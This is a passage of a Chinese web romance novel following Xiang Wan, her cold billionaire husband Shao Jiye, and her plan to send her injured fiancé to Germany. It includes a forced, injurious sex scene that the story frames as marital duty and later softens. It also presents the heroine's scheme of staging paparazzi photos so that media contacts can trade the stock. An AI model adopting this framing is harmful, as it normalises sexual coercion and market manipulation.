由邵氏负责开发AI辅助医疗技术,北美医疗联盟将提供数据支持。
这个新闻刚一公布,直接登上了热搜第一。
而向晚一直在刷新大盘走势,直到屏幕上一条红色的,笔直向上的直线映入眼帘。
钟灵已经恢复了不少,小声说道:“向经理,我出去吃饭了。”
向晚眨了眨眼:“你不是一直自己带饭的吗?”
“一会儿邵总要来,我就不在这里当电灯泡啦嘿嘿。”
向晚突然想起,中午还有一尊大佛要来。
她快速关掉了页面,收拾了一下桌面。
刚收拾差不多,邵寂野就来了。
只见他拎着两个保温箱,推门进来。
向晚赶紧过去想要搭把手,邵寂野却避开了:“你提不动,去坐着吧。”
向晚吃惊地看着那两个堪比行李箱大小的保温箱。
邵寂野打开了一个,把里面满满当当的餐盘一样一样摆出来:“青笋炒猪肝,花生炖猪脚,杏仁菠菜,红枣桂圆汤。这几个是你的。”
向晚问道:“都是我的?”
“嗯,必须吃完。”
“……没必要吧。”
邵寂野说:“我问过医生了,你轻度贫血,这几样菜都有补血的功效。吃这些食物,总比你喝中药好多了吧?”
“那你呢?”
邵寂野打开了另外一个保温箱。
毛血旺,水煮牛肉,辣炒金钱蛋。
看着一水儿的红彤彤辣椒油,向晚只觉得头皮发麻。
“你吃这么辣?肠胃受得了吗?”
邵寂野白了她一眼:“我们结婚三年了,你才知道我嗜辣?”
向晚干笑了一下:“之前你也基本不在家吃饭啊。”
“我们两个一起去老宅的时候,宁姨都准备了哪些菜,你是一点儿都没往心里去啊?”
向晚被说的有些心虚。
这三年来,两个人倒是一起去过老宅不少次。
逢年过节,还有邵老太太过寿,时不时宁姨还会打电话来叫他们
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两个回去吃饭,一年下来去的次数也有个十几二十次。
不过每次她的心思都在邵老太太身上。
邵老太太喜欢吃海鱼,尤其是三文鱼的大腹;肉类则是喜欢羊肉一些,猪肉她觉得有味道,牛肉她咬不动,禽类的她不喜欢;蔬菜类则是喜欢根茎类的,红薯山药萝卜。
她每次都会恰到好处的给邵老太太夹她喜欢吃的菜。
她一个眼神,向晚就知道她接下来想吃哪个。
宁姨每次都会做一大桌,向晚的目光都在邵老太太喜欢的那几道上了,其他的她是真的没怎么上心。
“也是,”邵寂野冷哼了一声:“邵太太一心想着讨好奶奶,有她的保驾护航,你邵太太的位置才坐得稳。”
反正都已经基本明牌了,向晚也没有撒谎的必要。
“那时候我真的很需要这个身份。”
她需要钱,很多很多钱,只有这个身份能给她。
邵寂野抬起头,直勾勾地看着她:“奶奶也不能帮你保住这个位置一辈子。”
“我知道。”
将来这个位置是白荷和谭璇的战场。
她们一个是白月光,一个是最优解,各有各的筹码。
“我也没想过要做一辈子邵太太。”
“如果我说,你可以这么想呢?”
向晚一惊,猛地抬起头。
邵寂野却神色如常:“坐下,先吃饭。”
向晚神色凝重:“邵总,我不明白你的意思。”
“邵太太这个位置,很多人觊觎,你应该知道吧?”
向晚点了点头。
“传国玉玺,和氏璧,这些被无数人觊觎的东西,最后都没有好结果。”邵寂野冷声说道:“不管谁拥有了它,引来的都只有杀身之祸。”
向晚蹙眉,惊怒不定:“你的意思是,当邵太太会有危险?可是过去三年,除了温甜甜泼了我一杯咖啡,也没有遇到什么……”
“那是因为以前所有人都知道我不喜欢你,迟早会甩了你,对你动手多此一举,你迟早会滚蛋。但是现在——”
他收敛了目光,继续慢条斯理地整理桌上的餐盘。
“三年前,白荷的遭遇就是个例子。”
向晚迟疑着问道:“三年前……不是奶奶下的手吗?”
“不止,”邵寂野说:“还有谭家。”
第三十六章 邵太太魅力弗边
邵寂野慢条斯理地撕开了筷子的包装,递给她。
向晚没接,同样拒绝的,还有他的提议:“抱歉邵总,这个我做不了。”
邵寂野拿着筷子的手还僵在半空,闻言微微抽了一下唇角:“你不想拿回你爸爸的公司了?你手上的钱应该还不够吧?”
“我怕死,”向晚说:“命都没了,我要再多的钱有什么用?”
邵寂野的脸色微微沉了下来。
他把筷子放在向晚面前,然后去拆自己的那一双:“是这样吗?”
“不然呢?”
“邵太太魅力弗边,前有初恋男友痴情守候,后有混血帅哥大献殷勤,何必吊死在我这一棵歪脖子树上?”
向晚拿起筷子,夹了一片笋片放在嘴里,轻声说道:“邵总您不是也一样?既有门当户对的高门贵女,又有清纯可爱的白月光。不然你还是娶了谭璇算了,白荷你藏了三年不也没人发现么,大不了婚后再继续藏起来也就是了。”
邵寂野的脸色顿时变得非常不好看。
他沉默着,一言不发。
向晚自顾自地吃饭,没再去关注他。
自己这个提议,她自认为还算中肯。
以她对邵寂野的了解,他才不会做二选一这种事,他的脾气一贯是——我全都要。
唯一的难点大概就是白荷要怎么藏这个问题了。
按照徐艺珍的说法,这三年间白荷深居简出,几乎不怎么在人前露面,所以邵寂野能把她藏的严严实实。
但一辈子不露面确实也不太现实。
不过这都是邵寂野该头疼的问题了,跟她无关。
有一说一,邵寂野带来的饭菜的确不错,虽然都是清淡的菜式,但很合她的口味。
向晚自顾自吃的欢畅,邵寂野冷冷地看着她。
等向晚吃了个差不多饱,才发现邵寂野的菜完全没动过。
**什么时候已经去了窗边,抱着手臂看着外面,不知道在想些什么。
向晚问道:“你还吃吗?”
“不吃。”
“那我叫保洁阿姨来收拾了。”
“随你。”
向晚点了点头,推门出去找保洁阿姨。
办公室里,她放在桌面上的手机屏幕亮了一下。
邵寂野走了过去。
【威廉:今天下班后有空吗?能不能请你喝杯咖啡?】
他冷笑了一声,指尖按住一划,消息立刻从屏幕上消失了。
……
向晚带着保洁阿姨进来的时候,邵寂野已经没在了。
保洁阿姨看着满满当当的几个菜,顿时觉得很可惜:“向经理,这么多菜都不要了啊?”
“嗯,邵总应该是心里有事,吃不下。”
下午一上班,向晚立刻打开了股票大盘。
邵氏集团的股价依旧维持在高位,仍旧是一片大好的涨势。
向晚抛了一小部分,套现了三百万现金。
她这些年也观察出了一些规律。
小公司股价波动大,有可能趁势起飞,也有可能直接腰斩。
就比如天隆集团。
靠着“邵太太娘家”这个名头,邵寂野如果跟其他女人传出绯闻,股价立刻就会飘绿。
而如果什么时候记者拍到了邵寂野带着她回老宅看奶奶,或者是周末晚上回浅枫苑过夜,天隆集团的股价就又会升上去。
当然,记者什么时候能“拍到”,向晚也有她的办法。
秦叔那边也认识几个媒体朋友,合作了很多年。
但是仅仅只靠交情肯定是不行的。
人跟人的交往,必须要有利益捆绑。
这几个媒体朋友也通过秦叔这个消息来源,短线操作天隆集团的股票,都赚了不少。
所以到了后面,几乎都是这几个媒体人来求着秦叔,想知道下一次什么时候能拍到邵寂野和向晚同框。
但这仅适用于天隆集团这种规模较小的公司。
像邵氏这种一方巨擘,树大根深,股价波动并不会特别大。
邵寂野花边新闻不少,股价一开始会跌一些,但因为太频繁了,所以后期基本已经没什么波动了。
只有在邵寂野跟谭璇一起被拍到的时候,才剧烈的震动了一回。
还有就是这一次——
邵氏作为走在前沿科技风口浪尖上的急行者,再一次踩在了风口上,股价再次飙升。
而这种具体的商业合作,股价上涨的时间会长一些。
向晚大概预估了一下,大概一周后,增速会缓慢降低,半个月后将趋于稳定。
到时候她再把名下的股票全部抛售,就算不是最高
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点,也**不离十。
至于那三百万现金,她现在就要用。
下午下班后,她在电梯上遇到了楚卫。
楚卫说:“太太,邵总下午去见一个客户,应该直接回家了。”
言下之意,让她不用等,没车可坐,要自己打车回去。
向晚点了点头:“好。”
楚卫看着她,有些欲言又止。
等电梯到了一楼,大家都纷纷走了出去,楚卫叫住了她:“太太。”
向晚一只脚也已经踏了出去,闻言顿了一下:“怎么了?”
楚卫说:“邵总一下午都很生气,骂走了两个分公司经理。”
向晚没多想,“知道了,谢谢提醒,我尽量不惹到他。”
“那个……”
“什么?”
楚卫无奈地摇了摇头:“没事,算了。”
看来真是物以类聚。
邵寂野是个喜怒无常的,他的助理也一样。
向晚摇了摇头,离开了公司。
刚走到路边准备打车,就看到了靠在车边的威廉。
他笑着挥手:“嗨。”
向晚惊愕:“你在等我?”
“我给你发的消息,你一天都没回,我不知道发生了什么,还是做错了什么惹你生气了?想来想去还是来这里等你,想看看做什么能弥补。”
消息?
向晚拿出手机点开了微信,这才发现威廉真的发过消息给她。
时间差不多是午休的时候。
她实在是没什么印象了,只能道歉:“不好意思,我可能在忙其他事情没有看到。你没有做错事情,我也没有生你的气。”
“那真是太好了,我还以为是你想拒绝我的追求,所以不愿意再跟我来往了。”
向晚顿了顿,说:“我确实没办法接受你的追求,做朋友可以,但其他的……抱歉。”
威廉急急追问:“可是我不懂,你明明就不爱邵寂野,为什么还要留在他身边呢?”
威廉的声音有些大,虽然说的是英文,但一样引起了不少人往这边看过来。
这里毕竟是邵氏集团楼下,不是说话的地方。
向晚说:“威廉,有些事情我没办法说的太清楚,只能跟你道歉。”
“我不需要道歉,我只需要一个能说服我的理由。”
第三十七章 履行夫妻义务
“威廉,你因为什么喜欢我?就因为那幅画吗?”
向晚沉声道:“你见到那幅画的时候,并没有见过我本人,对我的外貌,性格,喜好,全都不了解,你喜欢的只是那幅画的作者,不是真正的我。”
威廉反问道:“可我在谭家见到你的那一刻,我确认我很喜欢你。”
“那也只是外表而已,你还是不了解我的灵魂。”
“我可以努力去了解的……”
“没有这么必要了,”向晚说:“如果你非要一个理由的话——我有喜欢的人,我想要跟他在一起,这个可以吗?”
威廉思索了一下,微微摇了摇头:“不是邵寂野。”
向晚默认了。
“是你画的那个男人?”
向晚看了看手机上的时间,招手拦下了一辆出租车,跟威廉告别:“再见,我得先走了。”
路上,她拨了一通电话出去。
“你好,是臻和疗养院吗?我大概半小时后到。”
半小时后,车子在一处偏僻清幽的地方停下。
向晚在网上查了好几天,对比了几十家疗养院的环境和护理质量,最后选定了这里。
接待她的人十分客气地给她泡了茶,笑着问道:“向小姐,您在电话中说,需要包机送病人去欧洲?”
“是的,”向晚说:“我咨询过个人包机,但是对方能提供医护条件十分有限。我希望能由贵养老院配备专业的医护人员陪同病人乘机,十几个小时的飞行,需要保障病人安全舒适地抵达欧洲,并且跟欧洲的疗养院做好对接,确保病人顺利入住。”
负责任笑着点头:“原来是这样,我们疗养院在德国也有分院的,同一个总公司旗下,如果需要的话,可以直接让病人入住,这样病人的身体状况都能更好的交接。”
“我就是因为这个,才选择了你们。”
“看来向小姐做了不少功课啊。”
向晚直接问道:“我需要知道具体的费用情况,我这边是两个病人,都需要医护人员。”
负责人依旧很客气,“我们的医护也是分类别的,飞机上的医疗设备也是……”
“都要最好的。”
负责人说:“如果都是顶配的话,两个人的费用大概在三百五十万左右。”
向晚心里微微安定了些,跟她预计的价格差不多。
她点头:“可以。”
“病**概什么时候启程?我们这边安排医护申请航线需要一定时间。”
“需要多久?”
“一周左右。”
“可以,”向晚说:“一周之后,麻烦你们了。”
负责人有些意外:“向小姐不陪同病人一起吗?我们不会收额外费用的。”
向晚说:“我还有一些事情要处理,所以病人落地之后,需要您这边帮忙联系德国的同事,照顾好我的……亲人们。”
离开前,向晚先给疗养院预付了一百万定金。
紧接着,她又打车去了一趟医院。
到医院的时候,天色已经黑透了。
向晚把自己的计划都跟秦叔说了。
秦叔听得感慨万分:“大小姐,我肯定是同意的,只是这个费用实在是太贵了。”
向晚安慰道:“事情只要能用钱解决,已经很好了。以枫去了德国,我也能放心一点。等我处理完这边的事情,就过去找他。”
秦叔的眼圈微微泛红:“以枫今天已经可以说话了,他告诉我,你已经答应他,要和他一起去德国了。我还在纳闷呢,您赶来的时候他就在手术室,之后也一直都没离开过ICU,连我也是今天第一次跟他说话,您是什么时候跟他说的?我还以为是他在做梦呢。”
隔着一层玻璃,向晚看着秦以枫熟睡的面容。
他睡得很安稳,脸上还挂着淡淡的笑容,看起来状态很不错。
“他还好吗?”
“医生说他恢复的很不错呢,原来是大小姐您给他吃了定心丸。”
似乎是感应到了向晚,原本正在熟睡的秦以枫缓缓睁开了眼睛。
看到她的时候,他露出了喜悦的神情,朝她伸出手。
向晚会意,在玻璃上哈了一口气,写下四个字:【好好养病】。
秦以枫乖乖点头,然后说了一些什么。
隔着玻璃,听不到。
秦叔问:“他在说什么?”
向晚唇边漾开笑意:“他让我多喝水。”
“啊?”
这是属于她们两个的秘密。
向晚学美术,但
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是对颜料有些过敏,每次如果画画时间长了,喉咙就会发痒刺痛。
秦以枫那时候陪着她到处采风,几乎要跑遍了整个欧洲。
除了帮她背画板和颜料之外,还会背着一个保温壶,逮着机会就要让她多喝热水。
即便被朋友们调侃他是“男妈妈”也无所谓。
他的说法是:“我伺候我媳妇儿,我乐意。”
说起来,向晚的确是幸福的。
童年被爸爸宠爱着,长大了这个人又变成了秦以枫。
这两个男人为她遮挡了所有的风雨,才让她有足够的能量,去对抗爸爸离开后的这一切颠沛流离。
“大小姐,你真的改变主意了吗?要跟以枫一起去德国?”
向晚点了点头:“之前拒绝他,是做好了把自己卖给邵家一辈子的准备。但是现在看来,不需要了。”
回到浅枫苑的时候,已经将近11点了。
客厅黑着,主卧的灯倒是亮着。
向晚也没太在意,直接上楼直奔客房。
准备洗个澡赶紧睡觉。
刚准备推门,门就从里面被打开了。
屋里黑洞洞的,向晚还没适应这种黑暗,只觉得一股巨大的力气一把搂住她,然后把她打横抱了起来,同时一脚踹上了门。
被扔到床上的时候,向晚仍旧惊魂未定:“谁?!
那人不说话,快速向她扑了过来。
向晚凭着记忆,摩挲到了床头的台灯,举起来就砸了过去。
惊魂之下准头不够,男人伸手也快,用手臂格挡了一下,台灯摔到了地板上发出巨大的响声,玻璃哗啦啦碎了一地。
向晚按亮了壁灯,昏黄的光线终于亮起。
借着微弱的光线,她终于看清楚了半跪在床边的男人。
邵寂野一身戾气,居高临下地看着她,右手手臂应该是被台灯的碎片划伤了,鲜血顺着他的手指往下滴。
“邵……你怎么在这里?”
邵寂野冷冷的看着她,忽而勾唇一笑,脱下浴袍,随意擦了擦手臂上的血,单手握住了她的脚踝。
微一用力,向晚就被他轻而易举地拖到了身下。
他的气息缓缓压下来:“邵太太忘了吗?夫妻之间要履行夫妻义务。”
第三十八章 拿人钱财**
向晚惊魂未定,邵寂野已经压了下来,仿佛一片巨大的乌云,把向晚眼前所有的光全部都挡住
客房里昏黄的灯光打在他脸上,半明半暗,他似乎是在笑着,但似乎又满身怒气。
今夜的邵寂野似乎跟往常不太一样。
从前在床上也是强势的,但今天似乎裹挟着愤恨和即将要喷薄而出的怒火。
他一只手牢牢捏住她两个交叠在一起的手腕按在她头顶,力道大的向晚顿时眼泪就被逼了出来:“疼……”
邵寂野不但没停,反而更用力的禁锢着她。
没有任何铺垫,直奔主题。
向晚从来就不是个会在这方面讨好男人的人,甚至更多时候是需要邵寂野带领节奏。
疼痛来的异常剧烈,她用尽所有力气去挣扎,可丝毫撼动不了男人一分一毫。
向晚这时才有些绝望地体会到,过去三年的邵寂野对她似乎也是带着些体贴的,倘若真的是被奶奶逼着回家跟她同房,一点怜惜都没有的直接办事,她怕是一天都坚持不了,连夜被送进医院。
她仰起头,看着黑夜中不断晃动的天花板,紧紧咬着牙关,硬是一声不吭。
不知过了多久,邵寂野才终于停了下来。
那一瞬间,向晚的意识都已经有些朦胧。
热度退去,理智回笼。
邵寂野松开了钳制,可向晚没动,手腕依旧软软地交叠在原本的位置,整个人软的像是一朵云,一动不动。
“向晚?”
邵寂野叫了一声。
没有得到回应。
还未褪去的余韵瞬间消失了个干干净净。
邵寂野有些急切的把她抱坐在自己身上,捧着她的脸凑近了去看。
向晚的眼睛半阖着,满脸都是冰凉的泪水,下唇被牙齿咬出了血,殷红的血珠莹润着她的唇,在苍白的脸上显得妖冶瑰丽。
她整个人都脱了力,他微微一松手,她就向旁边掉下去。
邵寂野单手搂着她,另一手探到床头柜上抽出几张纸巾,轻柔地帮她擦着脸上的泪和唇上的血。
“怎么不叫?”邵寂野半是心疼半是责备:“痛了为什么不喊出来?”
向晚的眼珠微微动了动,看向了他。
当他再次想要帮她擦眼泪的时候,向晚缓缓抬起手,从他手中接过了纸巾,然后推开了他,自己倒在床边擦拭。
纸巾很快就被鲜血染红。
邵寂野干脆把一包纸巾全部拿在手里,抽出几张递给她。
向晚接过,机械地擦着。
唇上的伤口仍旧在汨汨冒着血,她这种漫无目的的擦法,挤压出了更多的鲜血。
染着血迹的纸巾又去擦脸,苍白的脸上也多了几道血痕。
邵寂野看不过去,强行把人抱到怀里,按着她的手不许她动:“你再这么蹂躏下去,你的嘴唇可禁不住了。”
向晚躺了一会儿,恢复了一点力气,可浑身的疼痛仍在持续。
她一开口,声音哽咽而低沉:“你来找我做什么?”
邵寂野明白她的意思。
白荷就在隔壁。
他的眸色闪了闪,没有直接回答:“还有哪里不舒服?”
余光里,看到向晚掌心似乎也有血迹。
他把她的手摊开在自己掌心里,果然,细腻莹白的手掌里有几个月牙形的伤痕。
虽然出血不多,但也隐隐透着鲜红的血线。
邵寂野有些懊恼的蹙眉:“你是哑巴么?这么能忍?”
“楚卫跟我说,你今天很生气,让我尽量别惹你。”
向晚艰难地从他怀里爬起来,颓然地坐在床边,胡乱拨了拨脸上的头发,低着头轻轻笑了一下:“你是想发泄,不舍得这样对白荷,所以才来我这里的,对吧?”
她点了点头:“也是。你对她那么呵护,怎么舍得这样对她。”
邵寂野突然觉得一阵烦闷:“能不能不要提别人?”
“好,不提就不提。”向晚很乖,转而问他:“AI医疗的项目推进的不顺利吗?还是奶奶又给你施压了?”
“项目推进很顺利,整个北美的医院和高校都签了独家合作,奶奶那边也没什么动静。”
“那是为什么?”
邵寂野冷声问道:“你还有哪里受伤了?”
向晚摇了摇头:“没了。”
邵寂野突然下了床,蹲在了地上,握住她的膝盖。
向晚吓了一跳,按住了他的手试图阻止他:“你干什么?”
“看看你有没有受伤。”
“没有,你起来。”
“
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我不信。”
“我说没有就没有!你再这样我大声叫了,白荷要是过来看到我们这副样子,你想好后果。”
这话一出,邵寂野有些防备似的看了看门的方向,但终究还是没有继续坚持。
但身体的疼痛不会骗人,向晚知道,自己肯定伤的不轻。
她摆了摆手:“你走吧,去陪你的白月光去。”
邵寂野没动。
向晚又推了推他:“走啊。”
邵寂野突然一把抱住了她。
他把脸埋在她的颈窝里,沉沉叹了口气,带着无限的失望和无奈:“你到底什么时候才能明白……”
向晚不解:“明白什么?”
“向晚,你的心是不是石头做的?”
向晚越听越迷糊,她用力推开了他:“我又不是石矶娘娘,怎么会有石头心。”
这一次,邵寂野轻而易举就被她推开了。
他没有再做什么,只是看着她受伤的唇:“是啊,你也是会爱人的。”
“对啊,不是只有你是个情种,为了白月光想方设法绞尽脑汁,我也是谈过恋爱的好吗?”
邵寂野顿了顿,看着她散乱的头发,还是忍不住伸手轻轻帮她别在耳后:“刚刚……对不起。”
“没事,”向晚显得不怎么在意,甚至自嘲地笑了一下:“拿人钱财**,我拿了你那么多钱,总得付出点什么。”
“……我不是这个意思。”
“是不是都无所谓了,”向晚深吸了一口气,整个人是释然了许多:“放心,今天的事我不会告诉白荷的,你在她面前仍旧是那个温柔可靠的爱人。”
邵寂野静静看了她一会儿,神色依旧是阴沉的:“你不想让我看,我就不看了。但伤势不能耽搁,我找个人来帮你检查一下。”
向晚立刻紧绷起来:“这个别墅里除了你就是白荷,你想让她来帮我检查啊?!”
邵寂野抓起手机就要打电话:“我找个女医生来。”
“医生一来白荷不就什么都知道了?邵总,你的阴暗面在我这里暴露一下没所谓,要是让白荷知道你在床上这么野蛮,小心把人家小姑娘吓跑了。”
“你不也是小姑娘?”邵寂野的声音很轻:“论年龄,你比她还小一岁。”
第三十九章 力的作用是相互的
向晚微微愣了一下。
她一直以为白荷就是个女大学生,充其量二十出头。
所以一直以来她都把白荷当成和锦绣一样,没想到她居然还比自己大一岁?
邵寂野似乎看穿了她心中所想:“你也才24。”
三年前,她大三,21岁。
今年她还没有过24岁的生日。
只是这三年发生了太多的事,爸爸去世,妈妈瘫痪,二叔和爷爷奶奶的逼迫,那些叔叔伯伯们的冷眼和凉薄。
她见了太多这个世界的阴暗面。
甚至连邵老太太,她都觉得能算得上是个对她不错的长辈。
即便她也只是利用自己而已,但至少给了她机会,让她过上了相对正常的生活。
后背忽然一暖,是邵寂野脱下了自己的睡袍,披在了她身上。
睡袍上还带着他的体温,混合着沐浴露的香气和淡淡的烟味。
邵寂野很少抽烟。
平时对外都说不抽。
但向晚见过他抽烟,每个周末他回家,办完事之后都要抽。
他应该没有瘾。
向晚猜测,他应该是每次办事的时候看着她的脸都会想起白荷,所以在完事之后会抽一支,独自消化着回忆的苦涩。
可是现在白荷明明就在,他为什么又开始抽烟了?
向晚觉得痛感似乎会损伤脑细胞,她的脑子现在很木,想不明白。
“要洗澡吗?”邵寂野问她。
浑身的汗,还有斑驳的血迹。
向晚点头:“你在我这儿洗一下吧,身上有那种味儿,当心白荷察觉。”
邵寂野顿时反口:“你是我老婆,别弄的自己好像是见不得人的女人。”
向晚笑了:“邵总,你真把我当老婆吗?”
“……”
“我这个邵太太,全都是水分,外人都以为你回心转意了,可现在只有我们两个人,没必要演戏了吧?”
邵寂野冷着脸问她:“今天为什么回来这么晚?”
向晚轻声说:“办了点私事。”
“什么私事?”
“既然是私事,自然是不能告诉别人的。不过你放心,我知道轻重,不会影响你的事情。”
想到这里,向晚突然抬起头问他:“明天要不要我去医院一趟?找个妇科女医生检查一下,你找几个人跟拍,还能发一发夫妻恩爱的新闻稿。”
邵寂野却问:“你到底伤的重不重?”
“死不了。”
“好好说话。”
向晚没好气:“邵总,力的作用是相互的,你自己用了多大的力,现在是什么感觉,你自己应该心里有数。”
他要的急。
没有准备和铺垫的情况下,两个人都不好受。
邵寂野不再犹豫,直接用自己的睡衣把她一裹,单手抱着就开门下楼。
脚步声不小,砰砰砰的。
向晚听的心惊肉跳:“你发什么疯?家里还有人呢!”
说话间,邵寂野已经抱着她下到了一楼。
“锦绣!人呢?”
他没有压制声音,低沉的嗓音在安静的黑夜里像是平地炸雷。
锦绣从自己的小房间里伸出一个小脑袋,死死的闭着眼睛:“先生,我在呢。”
邵寂野说:“你去主卧帮我拿几件能穿的衣服送到车库来。”
锦绣点头:“好的……什么衣服都可以吗?”
“嗯。”
“那要是**问起,我怎么说啊?”
邵寂野已经抱着向晚走到了大门口,已经有些不耐烦了:“随便。”
锦绣还没弄明白怎么回事,大门传来哐啷一声。
先生已经抱着太太出了别墅,直奔车库。
锦绣这才敢睁开眼。
在浅枫苑做了三年,每次邵寂野回来,动静都大的不行。
她在担心向晚的身子骨之余,也十分有眼力界儿,但凡邵寂野出主卧,她就退回自己的房间,实在要出来活动的话,也会闭上眼睛。
非礼勿视。
“咳咳……”
二楼传来轻轻的咳嗽声。
锦绣向上看去,只见白荷不知道什么时候也已经出来了,站在二楼楼梯尽头,不知道看了多久。
“那个,**还没睡啊?”
白荷惨然一笑:“动静这么大,地震似的,我不信你能睡得着。”
锦绣讪笑了一下,摸了摸鼻子。
白荷的神情有些凄惶,“他不是让你来拿衣服么,进来吧。”
说完,她就转身回了主卧。
锦绣上了楼,推门进去之前,先敲了敲门,得到允许之后,才小心翼翼地走了进去。
白荷看着她诚惶诚恐的样子,不禁冷笑了一下:“我这里又没发生什么,你怕什么?”
锦绣也有些尴
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尬:“先生他……”
白荷打断她:“你的雇主姓向,对吗?”
锦绣点了点头。
“我认识她。”
锦绣有些意外:“您跟向晚姐之前就认识吗?”
白荷坐在窗边,轻声说:“我认识她,她不认识我而已。”
“这样啊……”
“那时候她是天之骄女,漂亮大方,精致优雅,整个人都仿佛在发光,所有人的目光都只会看向她,我也是其中一个罢了。”
锦绣是知道向晚的身世的。
所以白荷说的,她也并没有怀疑什么。
白荷催促她:“快点把衣服送下去吧,再晚了你们家先生就要发脾气了。”
锦绣一边快速拿了一件衬衫和一套西装抱在怀里,一边轻声说:“先生其实脾气蛮好的,三年来没怎么对我发过脾气。”
“那是因为向晚护着你,”白荷冷冷的说:“要不是她,邵寂野这么傲的人,恐怕连你姓什么都不记得。”
锦绣隐隐觉得,白荷的神情有些不对劲。
但想到邵寂野和向晚还在车库等着,也不敢再耽误,拿了衣服就告辞离开了。
到了车库,漆黑一片。
但是黑暗中有一处星星点点的橘红色光芒。
她走了过去,闻到一股很浓的烟味。
“先生。”
车窗缓缓降了下来,邵寂野的微微蹙眉:“怎么这么久?”
锦绣说:“我不知道先生要去什么场合,所以不知道该拿什么样的衣服比较好。”
“我不是说了,随便拿一套能穿的就行?”
锦绣趁机把抱着的衣服递给他:“先生您看这样行吗?”
西装和衬衫。
邵寂野本意是随便拿一套休闲服就好,但既然如此,也就只能如此了。
他接了过来,然后对锦绣说:“行了,没事了,你回去吧。”
锦绣有些担忧,往车里面瞟了瞟:“太太是不舒服吗?没事吧?”
邵寂野的声音柔了下来:“我带她去医院看看,应该没什么大事。你赶紧回去看书吧,别辜负了你向晚姐。”
“好。”
“也别太辛苦了,复习要劳逸结合,效果更好。”
锦绣微微觉得有些讶异,邵寂野对她的耐心,让她想起了方才白荷说的那番话。
她点了点头:“……哦,我知道了。”
第四十章 要是真伉俪情深,我也不会撕裂了
车窗缓缓升上来,隔绝了视线。
邵寂野看了一眼身旁的向晚,开始往自己身上套衣服。
向晚被他的睡袍包成了一个粽子,两条袖子还在胸前系紧,她压根动弹不得。
她就静静看着邵寂野穿衣服。
似乎是注意到了她的视线,邵寂野斜了她一眼:“好看吗?”
向晚想了想,点头。
“好不好看你还得想一下?”
向晚有些疲倦,整个人恹恹的:“我反应慢。”
邵寂野的语气放柔了一些:“你睡一会儿,到了我叫你。”
“我不想去医院。”
邵寂野微微严肃起来:“不行。”
向晚自嘲地笑,“我知道,所以我也没指望能改变你的决定,开车吧。”
她这样顺从,反而让憋了一肚子话的邵寂野觉得心头有些发堵。
他沉默了一会儿,缓缓发动了车子。
一路上,向晚都很安静,偏头看着右侧的车窗。
红灯的时候,邵寂野问她:“还疼么?”
向晚说:“还好,不怎么疼了。”
“生气吗?”
“不。”
“为什么不?”
向晚保持原有的姿势没动:“不为什么。”
邵寂野气不打一处来:“明天我带白荷出去旅游,大概要去半个月左右,你……好好养养伤。”
向晚很乖地点了点头:“好。”
“公司你也别去了,待在家里别出去。”
向晚刚想问为什么不用去公司,下一秒就明白了过来。
邵寂野带的是白荷,可白荷已经“死”了,他现在又是个夫妻恩爱的人设,所以在外人眼里,他带出去的只能是“邵太太”。
向晚问道:“需要我的护照吗?”
“不用,包机。”
向晚点了点头,反正他有钱。
到了医院,邵寂野停好车,再次要来抱她。
向晚已经睡着了。
紧闭着眼睛,睫毛在眼下投影成一片小小的阴翳,看起来心事重重。
邵寂野伸去的手在空中顿住,犹豫许久,还是没有叫醒她,而是重新发动了车子,离开了医院。
第二天早上,向晚是被一阵拍打的声音吵醒的。
她环顾四周,发现自己还坐在那辆跑车的副驾驶上,锦绣正在拍车窗:“太太!”
向晚头痛欲裂。
她降下车窗,外面冷风吹进来,才让她的意识清明了一些。
锦绣表情十分震惊:“太太,先生昨晚没带你去看医生么?怎么你还在车里啊?”
向晚低头看了看。
自己身上穿的还是邵寂野那件墨蓝色的睡袍,依旧被袖子捆成了一个粽子,安全带也系的好好的。
仿佛她昨晚被带去医院,只是一场梦。
她挣扎了几下,衣袖才终于散开。
锦绣看到她身上的伤痕,顿时倒吸了一口凉气,捂住了嘴巴:“那个……太太,先生昨天怎么下手这么重啊?”
向晚也不太清楚。
楚卫只是告诉他邵寂野昨天心情不太好,但也没说为什么。
“他这人向来喜怒无常,不用管他。”
锦绣说:“我也不想管他,我就是心疼你。”
向晚捏了捏她肉嘟嘟的小脸儿,“去帮我放洗澡水吧。”
“好。”
锦绣刚转身,别墅外的门铃就被按响了。
向晚看了一眼,发现是楚卫。
身后还跟着一个穿白大褂的女人,手里提着一个医药箱。
锦绣去开了门:“楚助理。”
楚卫微微点头:“太太在吗?”
“在是在,但是……这会儿不太方便见你,你能不能先在这里等一会儿?一会儿我来叫你。”
楚卫像是早有预料,从善如流地应了下来:“好。”
然后被背过身去站着。
锦绣小跑着回了向晚身边,小声说:“向晚姐,我去给您找件衣服,您等我一下。”
小姑娘一溜烟跑了,很快就拿来了一套宽松的运动服,帮着向晚换上。
看到向晚手腕上的淤青,锦绣扁了扁嘴,有点想哭,终究是忍住了。
向晚草草穿了衣服,在锦绣的搀扶下上楼,回了客房。
锦绣给她放好了洗澡水,这才出去请楚卫。
楚卫仍旧是那副冷冰冰的样子,但也不催,进了屋就在沙发上坐着等。
等向晚收拾好自己,大概已经过去了一个多小时。
她下楼的时候,楚卫一眼就看到了她,恭敬地站了起来:“太太。”
向晚问他:“你
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怎么没跟邵总一起去?”
楚卫说:“邵总交代我,这阵子留在这里保护太太。”
“保护我?”向晚微微勾唇:“还是监视我?怕我跑出去暴露了行踪,让白荷的身份暴露?”
楚卫解释道:“不是的。谭家最近动作频频,邵总不放心您。”
向晚也不想为难楚卫。
他毕竟要在邵寂野手下讨生活。
“楚助理一大早来找我,只是为了保护?还有其他事吗?”
楚卫介绍了一下自己身后的那个穿白大褂的女人:“太太,这是我请来的私人医生,邵总交代了,要给您检查一下身体。”
说完,楚卫问向晚:“我让她去您卧房?”
“不用了,就在这吧。”
楚卫没说什么,转身离开了别墅,笔直地站在门外。
女医生看起来四十多岁,面相很和蔼,“邵太太,我现在帮您检查可以吗?”
“好。”
十分钟后。
女医生摘掉了医用手套,轻声说:“有撕裂,轻微出血,不过昨晚上过药了,休息几天就好了。”
“昨晚上过药了?”
“嗯,有药膏的。”
向晚看向锦绣。
锦绣一脸懵逼,明显毫不知情。
女医生把一切都看在眼里,笑着说道:“外界现在都传,邵总收心了,跟邵太太伉俪情深,看来果然不假,昨晚应该是您睡觉的时候邵先生连夜出去买药,回来给您上的。”
向晚淡淡地说:“要是真伉俪情深,我也不会撕裂了。”
女医生的笑容僵在脸上。
向晚叹了口气,仍旧没什么精神:“谢谢你,我知道了,你回去吧。”
